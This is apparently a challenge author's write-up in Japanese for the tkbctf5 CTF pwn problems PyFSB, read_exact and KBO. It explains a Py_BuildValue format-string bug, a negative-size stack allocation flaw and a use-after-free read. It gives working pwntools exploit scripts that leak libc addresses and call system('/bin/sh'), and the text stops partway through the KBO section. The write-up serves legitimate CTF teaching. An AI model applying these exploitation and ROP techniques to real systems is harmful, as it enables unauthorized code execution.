tkbctf5 開催からだいぶ時間が経過してしまいましたが、そこで出題したpwnの問題について今でもたまに質問が来るので、作門者writeupを書こうと思います。

PyFSB

問題概要

次のようなPythonモジュールが挿入されています。

#include <Python.h>

static PyObject *pwn(PyObject *self, PyObject *args) {
  char request[0x100];
  if (fgets(request, 0x100, stdin) == NULL)
    return NULL;
  request[strcspn(request, "\n")] = 0;

  return Py_BuildValue(request);
}

static PyMethodDef FsbMethods[] = {{"pwn", pwn, METH_VARARGS, NULL}, {NULL, NULL, 0, NULL}};
static struct PyModuleDef fsb_mod = {PyModuleDef_HEAD_INIT, "fsb", NULL, -1, FsbMethods};

PyMODINIT_FUNC PyInit_fsb(void) { return PyModule_Create(&fsb_mod); }

Python側は単に呼び出すだけ

#!/usr/bin/env -S python3 -u

print("welcome to fsb service")

import fsb
while True:
    print(fsb.pwn())

脆弱性

問題名にもなっていますが、Py_BuildValueにFSBがあります。

Py_BuildValueについての詳細は公式ドキュメントを参照してもらうとして、大雑把に言えばCからPythonに値渡すときに使われる関数です。 引数に独自のフォーマット指定子を渡すことができ、例えば'K'というフォーマット指定子はunsigned long longを引数に取り、Pythonの整数オブジェクトを生成して返す挙動をします。return Py_BuildValue("K", 0xdeadbeef)とすると、Python側で0xdeadbeefという値が取れるわけです。

さて、printfのFSBでは%nを使ったexploitが有名ですが、Py_BuildValueにはなにか有用なフォーマット指定子はあるでしょうか?

Exploit

先程のドキュメント見てみると、'O&'という非常に興味深い指定子があることに気が付きます。引数を2つとり、1つ目を関数ポインタとして、2つ目をその関数ポインタに渡す引数として解釈するようです。 つまり、system("/bin/sh")を実行したい場合、Py_BuildValue("O&", system, "/bin/sh") とすれば良いわけです。

fsb.pwn()は繰り返し何度も呼ばれるので、一回目で'KKKK....'を送り、メモリ上に乗っているlibc.so.6へのアドレスをリーク、2回目でsystemを呼べばシェルが取れます。

io.recvline()
io.send(b"K" * 0xfe + b"\x00")

leaks = io.recvline().strip()[1: ][: -1].split(b",")
libc_ret = int(leaks[0xd7 + 5])
print(f"libc_ret: {hex(libc_ret)}")

libc_base = libc_ret - 0x2a28b
assert libc_base & 0xfff == 0, "align error (libc)"
print(f"libc base: {hex(libc_base)}")

io.sendline(b"K" * 6 + b"O&" + p64(libc_base + libc.symbols['system']) + p64(libc_base + next(libc.search(b"/bin/sh"))))

print("you got real world!")

io.sendline(b"whoami")
io.sendline(b"ls")

io.interactive()

この想定解以外にも、ubuntuのPythonがno-pieであることを利用し、バイナリ内の関数に飛ばすことでシェルを取った参加者もいました。自由度が高い問題なので、色々な解法があり得ると思います。fsb.pwn()をone-shotにしたり、'O&'を縛っても解けるんじゃないかな。upsolve待ってます。

read_exact

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

size_t get_size();
void read_all(char *buffer, size_t size);

__attribute__((constructor)) void init() {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  printf("Welcome to the challenge!\n");
}

size_t get_size() {
  char size_buffer[0x40];
  fgets(size_buffer, 0x40, stdin);
  return atol(size_buffer);
}

int main() {
  size_t size = get_size();

  char buffer[size + 1];
  read_all(buffer, size);

  printf("bye! %s\n", buffer);
}

void read_all(char *buffer, size_t size) {
  size_t num_read = 0;
  while (num_read != size)
    num_read += read(0, &buffer[num_read], size - num_read);

  buffer[size] = '\0';
}
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

整数を受け取り、その長さの分stdinから読み切って表示するプログラムです。No PIEであることに注目ですね。

脆弱性

sizeを負の値にすると、char buffer[size + 1]にて、スタックがうまく確保されないことを利用します。 例えば、sizeを-100にすると、rspが正の方向に動く挙動が確認できます。

しかし、readシステムコールの第三引数に、負の数等のSSIZE_MAXより大きい値を渡すとreadが入力を読み取らず終了してしまいます。

Exploit

read_all内のNULL終端処理、buffer[size] = '\0'; を使います。例えばsizeを-8にすると、num_read += -1が繰り返された後ループから抜けます。

buffer[-8]がちょうどreturn addressの最下位バイトを指しており、0x4012a1 (main+81)0x401200 (get_size+16)に書き換えられます。get_sizeのその後のfgetsの入力バッファがちょうどいい感じのスタックを指しているため、ここから自由にROPできます。

何回かmainに戻って-1を投げることでlibcリークを行い、その後systemへ飛びます。

io.sendline(b"-8")

payload = b""
payload += pack(0xDEAD0001)
payload += pack(0xDEAD0002)
payload += pack(0x404000 + 0x800)
payload += pack(elf.sym["main"])
payload += pack(elf.sym["main"])

io.sendline(payload)

io.sendline(b"-1")

io.recvuntil(b"bye! ")
libc_base = unpack(io.read(6).ljust(8, b"\x00")) - libc.sym["_IO_fgets"] - 164
log.success(f"libc_base: {hex(libc_base)}")

libc.address = libc_base
bin_sh = next(libc.search(b"/bin/sh"))

io.sendline(b"-8")

payload = b""
payload += pack(0xDEAD0003)
payload += pack(0xDEAD0004)
payload += pack(0x404000 + 0x800)
payload += pack(0x000000000040101A)
payload += pack(libc.address + 0x000000000010F78B)
payload += pack(bin_sh)
payload += pack(libc.sym["system"])

io.sendline(payload)

io.interactive()

KBO

ちょっと長めのソースコードとバイナリが渡されます。

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <sys/random.h>
#include <sys/uio.h>
#include <unistd.h>

pid_t child = 0;

#define SYSCHK(eval)                                                           \
  ({                                                                           \
    typeof(eval) __ret = (eval);                                               \
    if (__ret < 0) {                                                           \
      if (child != 0)                                                          \
        fprintf(stderr, "at " __FILE__ ":%d %s\n", __LINE__, #eval);           \
      exit(EXIT_FAILURE);                                                      \
    }                                                                          \
    __ret;                                                                     \
  })

#define ASSERT(cond)                                                           \
  ({                                                                           \
    if (!(cond)) {                                                             \
      if (child != 0)                                                          \
        fprintf(stderr, "at " __FILE__ ":%d %s\n", __LINE__, #cond);           \
      exit(EXIT_FAILURE);                                                      \
    }                                                                          \
  })

__attribute__((constructor)) void ctf_init() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);

  unsigned int seed;
  SYSCHK(getrandom(&seed, sizeof(seed), 0));
  srand(seed);
}

int w, r;
pid_t pipe_fork() {
  int pipes[2][2];
  SYSCHK(pipe(pipes[0]));
  SYSCHK(pipe(pipes[1]));

  child = SYSCHK(fork());

  SYSCHK(close(pipes[child != 0][0]));
  SYSCHK(close(pipes[child == 0][1]));

  w = pipes[child != 0][1];
  r = pipes[child == 0][0];

  if (child == 0) {
    w = SYSCHK(dup2(w, 2));
    w = SYSCHK(dup2(w, 1));
    r = SYSCHK(dup2(r, 0));
  }
  return child;
}

void send(int v) { ASSERT(write(w, &v, 4) == 4); }
int recv() {
  int ret;
  ASSERT(read(r, &ret, 4) == 4);
  return ret;
}
ssize_t read_exact(int fd, void *buf, size_t len) {
  ssize_t ret = 0;
  while (ret < len) {
    ssize_t r = read(fd, buf + ret, len - ret);
    if (r <= 0)
      break;
    ret += r;
  }
  return ret;
}

int get_int(char *prompt) {
  int ret;
  printf("%s: ", prompt);
  ASSERT(scanf("%d%*c", &ret) == 1);
  return ret;
}
void *malloc_chk(size_t size) {
  void *p = calloc(1, size);
  ASSERT(p != NULL);
  return p;
}

#define CMD_EXIT 0
#define CMD_MALLOC 1
#define CMD_FREE 2

#define NUM_HEAPS 32
struct {
  int cookie;
  struct iovec array[NUM_HEAPS];
} heap = {0};
const struct iovec sync_entry = {.iov_base = &heap, .iov_len = sizeof(heap)};

void vm() {
  while (1) {
    switch (recv()) {
    case CMD_EXIT: {
      exit(0);
    }
    case CMD_MALLOC: {
      int index = recv(), size = recv();
      ASSERT(0 <= index && index < NUM_HEAPS && 0 < size &&
             heap.array[index].iov_base == NULL);

      heap.array[index].iov_base = malloc_chk((size_t)size);
      heap.array[index].iov_len = (size_t)size;
      break;
    }
    case CMD_FREE: {
      int index = recv();
      ASSERT(0 <= index && index < NUM_HEAPS &&
             heap.array[index].iov_base != NULL);

      free(heap.array[index].iov_base);
      heap.array[index].iov_base = NULL;
      heap.array[index].iov_len = 0;
      break;
    }
    }
    heap.cookie = rand();
    send(1);
  }
}

void allocate(int size, int index) {
  ASSERT(0 <= index && index < NUM_HEAPS && 0 < size);
  send(CMD_MALLOC);
  send(index);
  send(size);
  recv();

  SYSCHK(process_vm_readv(child, &sync_entry, 1, &sync_entry, 1, 0));
  ASSERT(heap.cookie == rand());
}
void write_content(int size, int index) {
  ASSERT(0 <= index && index < NUM_HEAPS &&
         heap.array[index].iov_base != NULL && 0 < heap.array[index].iov_len);
  ASSERT(0 <= size && size <= heap.array[index].iov_len);

  void *content = malloc_chk(size);
  printf("content: ");
  SYSCHK(read_exact(0, content, size));

  struct iovec local = {.iov_base = content, .iov_len = size};
  SYSCHK(process_vm_writev(child, &local, 1, &heap.array[index], 1, 0));
  free(content);
}
void deallocate(int index) {
  ASSERT(0 <= index && index < NUM_HEAPS && heap.array[index].iov_base != NULL);
  send(CMD_FREE);
  send(index);
  recv();

  SYSCHK(process_vm_readv(child, &sync_entry, 1, &sync_entry, 1, 0));
  ASSERT(heap.cookie == rand());
}
void consume(int index) {
  ASSERT(0 <= index && index < NUM_HEAPS && heap.array[index].iov_base != NULL);
  send(CMD_FREE);
  send(index);
  recv();

  struct iovec remote[2] = {heap.array[index], sync_entry};
  struct iovec local[2] = {heap.array[index], sync_entry};

  size_t len = heap.array[index].iov_len;
  void *content_dest = local[0].iov_base = malloc_chk(len);

  SYSCHK(process_vm_readv(child, local, 2, remote, 2, 0));
  ASSERT(heap.cookie == rand());

  printf("content: %.*s\n", (int)len, (char *)content_dest);
  free(content_dest);
}

int main() {
  if (pipe_fork() == 0)
    vm();

  puts("-- 0: exit, 1: allocate, 2: write content, 3: deallocate, 4: consume --");
  while (1)
    switch (get_int("choice")) {
    case 0:
      send(CMD_EXIT);
      exit(0);
    case 1:
      allocate(get_int("size"), get_int("index"));
      break;
    case 2:
      write_content(get_int("size"), get_int("index"));
      break;
    case 3:
      deallocate(get_int("index"));
      break;
    case 4:
      consume(get_int("index"));
      break;
    }
}
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

全部有効です。

脆弱性

長いソースコードですが、読んでみるとconsumeに自明な脆弱性があることがわかります。send(CMD_FREE)を送ると子プロセスのヒープが解放されますが、その後に親のprocess_vm_readvが実行されるため、UAF Readが発生します。

$ ./chall
-- 0: exit, 1: allocate, 2: write content, 3: deallocate, 4: consume --
choice: 1
index: 0
size: 8
choice: 4
index: 0
content: ��_
choice: 0